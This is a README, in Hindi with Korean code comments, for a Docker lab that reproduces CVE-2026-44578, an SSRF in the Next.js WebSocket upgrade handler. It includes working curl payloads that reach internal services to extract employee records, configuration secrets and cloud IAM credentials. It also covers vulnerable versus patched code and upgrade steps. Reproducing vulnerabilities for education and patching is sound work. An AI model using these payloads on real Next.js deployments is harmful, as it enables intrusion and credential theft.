
CVE-2026-44578 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो भेद्य स्थिति को दोहराता है, जिससे सुरक्षा शोधकर्ता प्रभावित सिस्टम की पुष्टि कर सकते हैं और शमन उपायों का मूल्यांकन कर सकते हैं।
सिक्योरिटी एकेडमी CERT प्रोजेक्ट मेंटर डेमो के लिए कमज़ोरी पुनरुत्पादन अभ्यास वातावरण
| आइटम | विवरण |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (उच्च) |
| CWE | CWE-918 (सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी) |
| प्रभावित संस्करण | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| पैच संस्करण | 15.5.16+, 16.2.5+ |
| प्रमाणीकरण आवश्यक | नहीं (अप्रमाणित) |
Next.js के WebSocket अपग्रेड हैंडलर (upgradeHandler) में एक कमज़ोरी है, जो HTTP अनुरोध पंक्ति में डाले गए
absolute-form URI (RFC 7230 §5.3.2) को बिना सत्यापन के आंतरिक सेवा तक प्रॉक्सी कर देता है।
बाहर से अप्राप्य आंतरिक सेवाओं को मनमाना HTTP अनुरोध भेजा जा सकता है (SSRF)।
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, असुरक्षित संस्करण) └── internal-svc (FastAPI + SQLite, केवल आंतरिक नेटवर्क)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
बिल्ड पूरा होने के बाद Next.js तैयार होने में 30~60 सेकंड लगते हैं।
तैयारी की जाँच:
curl -s http://localhost:3000/api/hello | grep ok
सामान्य HTTP अनुरोध GET /path HTTP/1.1 के रूप में केवल पथ शामिल करता है,
लेकिन RFC 7230 §5.3.2 अनुरोध पंक्ति में पूर्ण URL डालने वाले absolute-form की अनुमति देता है।
GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Next.js upgradeHandler इस URL को पार्स करता है और यदि parsedUrl.protocol मौजूद है तो
गंतव्य सत्यापन के बिना proxyRequest() को कॉल करता है।
curl --request-target विकल्प से अनुरोध पंक्ति को सीधे निर्दिष्ट किया जा सकता है।
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ नाम, ईमेल, वेतन, bcrypt हैश पूर्ण रूप से लौटाएँ
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
parsedUrl.protocol मौजूद होने पर सीधे प्रॉक्सी। लक्ष्य होस्ट आंतरिक IP हो या
IMDS (169.254.169.254), बिना शर्त अग्रेषित किया जाता है।
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished केवल तब true होता है जब resolveRoutes के अंदर अनुरोध किसी सामान्य रूट से मेल खाता है।
absolute-form URI सामान्य रूट से मेल नहीं खाता, इसलिए finished === false → प्रॉक्सी अवरोधन।
patch-for-lab.js)कमज़ोरी पुनरुत्पादन वातावरण में resolve-routes.js :// को लगातार स्लैश के रूप में गलत पहचानकर
http://host/path को http:/host/path में संकुचित कर देता है, जिससे SSRF आकस्मिक रूप से अवरुद्ध हो जाता है।
patch-for-lab.js इस व्यवहार को निष्क्रिय करता है ताकि कमज़ोरी सामान्य रूप से पुनरुत्पादित हो सके।
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
इस लैब में शामिल patch-defense.js के साथ वर्तमान संस्करण पर आधिकारिक पैच लॉजिक सीधे लागू करें:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
पैच लागू करने के बाद SSRF अनुरोध बिना प्रतिक्रिया के ब्लॉक हो जाता है।
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes पैच (SSRF पुनरुत्पादन हेतु) │ ├── patch-defense.js # router-server रक्षा पैच (कोड संशोधन रक्षा प्रमाण हेतु) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI आंतरिक सेवा (SQLite + IMDS सिमुलेशन) │ └── requirements.txt └── exploit/ └── demo.sh # 6-चरणीय स्वचालित डेमो स्क्रिप्ट
यह रिपॉज़िटरी केवल सुरक्षा शिक्षा और भेद्यता अनुसंधान के उद्देश्य से प्रदान की गई है।
वास्तविक सेवाओं पर अनधिकृत हमला करने के लिए इसका उपयोग करना अवैध है,
और सभी परीक्षण केवल अपने स्वयं के स्वामित्व वाले या स्पष्ट अनुमति प्राप्त वातावरण में ही किए जाने चाहिए।
यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है।
उत्पादन प्रणालियों के विरुद्ध अनधिकृत उपयोग अवैध है।
सभी परीक्षण केवल उन वातावरणों में किए जाने चाहिए जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।